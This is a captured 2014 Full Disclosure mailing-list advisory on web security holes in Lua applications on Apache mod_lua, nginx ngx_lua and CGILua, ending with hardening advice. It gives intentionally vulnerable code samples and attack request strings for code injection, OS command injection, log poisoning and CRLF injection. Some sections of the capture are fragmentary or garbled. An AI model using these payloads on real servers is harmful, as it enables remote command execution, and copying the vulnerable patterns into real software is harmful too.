Full Disclosure Lua Web Application Security Vulnerabilities
Full Disclosure Lua Web Application Security Vulnerabilities
org/fulldisclosure/2014/May/128
Site Search
By Date By Thread
Some time ago I wrote about how to detect NoSQL and server-side
JavaScript (SSJS) injection vulnerabilities using time-based techniques.
JavaScript is still rising and becoming more popular as a platform for
server-side code (http://www.techworld.com.au/article/536950/rise_rise_javascript/).
At Syhunt, we've been using Lua for quite some time as part of our web
application security tools and a primary scripting language, and
recently we started using internally the Lua modules for the Apache and
Nginx web servers, known as mod_lua and ngx_lua respectively. I decided
to check myself how insecurely coded Lua web applications could be
targeted and how easily the servers in question could be compromised.
To perform the tests, I created a small collection of insecure web
applications with input validations issues tailored to each web server
software.
THE RESULTS
1 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
found no way to perform Remote File Inclusion attacks like in PHP, but
Lua (at the current state) fails to thwart some attacks that are only
possible in older PHP versions. When Lua Pages was available, Log
Poisoning was successfully used to upgrade a LFI vulnerability to remote
command execution. Time-based techniques were used to spot Lua Code
Injection vulnerabilities, and SQL Injection vulnerabilities, which then
were used to upload a Lua web shell (backdoor) to the web servers
hosting the vulnerable web applications.
This paper demonstrates that skilled and even unskilled attackers can
take deep advantage of the weaknesses listed above, and quickly uncover
the flaws using automated methods. At the end you will also find some
tips for hardening the web server configuration.
Print functions
mod_lua: r:puts(), r:write()
ngx_lua: ngx.say(), ngx.print()
CGILua: cgilua.put(), cgilua.print(), <?=somevar?>
-- /vulnerable.lua?name=<script>alert('XSS');</script>
-- Apache & mod_lua
function handle(r)
local name = r:parseargs().name or ""
r:puts(name)
end
-- CGILua
local name = cgilua.QUERY.name or ""
cgilua.htmlheader()
cgilua.put(name)
Solution
SQL INJECTION
SQL Injection attacks (CWE-89) are used by bad guys to steal information,
add or change information in a database, shut down access to a web
application, bypass authentication, execute arbitrary commands, among
other things. SQL Injection attacks can be effectively mitigated by
using strong input validation.
2 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
-- mod_lua DB API
function handle(r)
r.content_type = "text/html"
local username = r:parseargs().username or ""
local database, err = r:dbacquire("mysql", "host=localhost,user=user,pass=,dbname=dbname")
if not err then
local sl = 'SELECT * FROM users WHERE username="'..username..'"'
local results, err = database:query(r,sl)
-- (...)
database:close()
else
r:puts("Could not connect to the database: " .. err)
end
end
The example above works with mod_lua and ngx_lua with some minor changes
if a LP preprocessor extension is enabled, but this is not exclusive of
SQLLite. All SQL engines can be target of similar attacks. Most commonly
targeted is MySQL:
http://www.greensql.com/article/protect-yourself-sqli-attacks-create-backdoor-web-server-
using-mysql
FILESYSTEM ATTACKS
3 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
Keep this in mind when dealing with user input, especially when passing
it to filesystem functions.
Vulnerable example:
Vulnerable examples:
-- CGILua
-- /vulnerable.lua?prod=/var/log/apache/access_log%00
-- after sending request with user-agent "<? os.execute(cgilua.QUERY.cmd) ?>"
local prod = cgilua.QUERY.prod or ""
cgilua.htmlheader()
cgilua.lp.include(prod..".lp")
-- CGILua (2)
-- /vulnerable.lua?prod=/var/log/apache/access_log%00
local prod = cgilua.QUERY.prod or ""
cgilua.handlelp(prod..".lp")
-- CGILua (3)
-- /vulnerable.lua?prod=somefile.lua%00
local prod = cgilua.QUERY.prod or ""
cgilua.htmlheader()
cgilua.doif(prod..".lua")
4 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
Using LuaSocket:
/vulnerable.lua?name=John")%20require"socket".select(nil,nil,3)%20x%3D("
-- ngx_lua
-- /vulnerable.lua?name=John")%20os.execute("notepad.exe
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
local html = string.format([[
ngx.say("Hello, %s")
ngx.say("Today is "..os.date())
]], name)
loadstring(html)()
-- CGILua
-- /vulnerable.lua?name=<? os.execute('ls -la') ?>
-- /vulnerable.lua?name=<? os.execute('dir') ?>
-- Print the source of the vulnerable script:
-- /vulnerable.lua?name=<? cgilua.put(io.open(cgilua.script_path):read('*a')) ?>
local name = cgilua.QUERY.name or ""
cgilua.htmlheader()
local html = string.format([[
<html>
<body>
Hello, %s!
Today is <?=os.date()?>
</body>
</html>
]], name)
html = cgilua.lp.translate(html)
loadstring(html)()
This is another area that web developers often overlook. When not
properly implemented can lead to attackers hijacking active sessions.
This is an aspect that CGILua for example has gotten wrong - it
generates 9-digit session IDs based on OS time and older releases
generate sequential, non-random IDs. In our attack simulations against a
vulnerable CGILua-based web application, we were able to guess valid
session IDs extremely quickly through brute-force attacks. I wrote more
about this vulnerability at:
http://www.syhunt.com/?n=Advisories.Cgilua-weaksessionid
5 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
to the methods used for changing user credentials. Some tools, like the
Burp Sequencer, can highlight anomalies in the generation of session
IDs.
If you are cooking up your own session library, you should use the
standard methods that already exist, instead of making your own.
Consider using the luuid library, which generates 128-bit random IDs
(using /dev/urandom), or any other Lua library that can generate unique
IDs based on high-quality randomness. You can also ask in the mod_lua or
ngx_lua forums - take this email as an example:
https://groups.google.com/forum/#!topic/openresty/iGdgYxd6A64
Chances are that the Lua module developers or someone is already using a
secure session ID generator.
The Lua's math.random(), like PHP's rand() function, uses the underlying
C library's rand function and is a truly weak random number generator.
Because it is cryptographically insecure (see
http://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator),
it isn't suitable for token generation.
The OWASP has a very good article about best practices for session
management, which I recommend reading:
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet#Session_ID_Length
When hashing the passwords, use salt and avoid the MD5 and SHA1
functions that come with the Lua modules. MD5 and SHA1 are vulnerable to
collision attack, and are too fast to compute and prevent brute force
(even SHA512 is too fast). Consider slow hashing such as PBKDF2, bcrypt
or scrypt.
OS COMMAND INJECTION
-- /vulnerable.lua?user=demo%20|%20dir%20c:\
-- mod_lua
function handle(r)
local user = r:parseargs().user or ""
local handle = io.popen("dir "..user)
local result = handle:read("*a")
handle:close()
r:puts(result)
end
-- mod_lua (2)
function handle(r)
local user = r:parseargs().user or ""
6 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
os.execute("ls -l /home/"..user)
end
-- ngx_lua
ngx.header.content_type = "text/plain"
local user = ngx.req.get_uri_args().user or ""
local handle = io.popen("ls -l /home/"..user)
local result = handle:read("*a")
handle:close()
ngx.say(result)
CRLF INJECTION
mod_lua: r.headers_out[]
ngx_lua: ngx.redirect(), ngx.header[]
CGILua: cgilua.redirect(), cgilua.header()
-- mod_lua
-- /vulnerable.lua?user=demo%0d%0aNew-Header:SomeValue
-- /vulnerable.lua?user=%0d%0a%0d%0a<script>alert('XSS')</script>
function handle(r)
local user = r:parseargs().user or ""
r.content_type = "text/html"
r.headers_out['X-Test'] = user
r:puts('Some text')
return apache2.OK
end
-- ngx_lua
-- /vulnerable.lua?name=%0d%0aNewHeader:Value
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
ngx.redirect("http://www.somehost.com/"..name)
-- ngx_lua (2)
-- /vulnerable.lua?user=test%0d%0aNewHeader:Value
local user = ngx.req.get_uri_args().user or ""
ngx.header['X-Test'] = user
ngx.say('Some text')
-- CGILua
-- /vulnerable.lua?url=http://someurl%0d%0aNew-Header:SomeValue
local url = cgilua.QUERY.url or ""
cgilua.redirect(url)
-- CGILua (2)
-- /vulnerable.lua?demo=test%0d%0aLocation:http://www.somehost.com
local demo = cgilua.QUERY.demo or ""
cgilua.header('X-Test',demo)
cgilua.htmlheader()
7 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
Man In The Middle attacks are an evolving threat and happen when an
attacker manages to put himself into your traffic stream, where he can
alter or intercept data.
Deploy HTTPS and set the HTTP Strict Transport Security Header
(http://dev.chromium.org/sts), and the secure flag on all cookies to
reduce this risk.
Keep your server software and Lua libraries up-to-date with the latest
security fixes.
Because most rockspec files point to URLs beginning with https, this
method will greatly minimize this risk.
function htmlescape(text)
local special = { ['<']='<', ['>']='>', ['&']='&', ['"']='"' }
8 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
<FilesMatch "\.lua$">
SetHandler lua-script
</FilesMatch>
LuaMapHandler "\.lp$"
versus
LuaMapHandler .lp$
The first regular expression example will match .lp, while the second
example will match ulp, xlp, .lp, !lp etc, making your configuration
less secure and restrictive.
------------------------------------------------------------------------
Syhunt is not liable for any damages caused by direct or indirect use of
the information provided by this paper.
_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
By Date By Thread
Current thread:
Site Search
9 of 10 11/1/23, 22:39
Full Disclosure: Lua Web Application Security Vulnerabilities https://seclists.org/fulldisclosure/2014/May/128
About
About/Contact
Privacy
Advertising
10 of 10 11/1/23, 22:39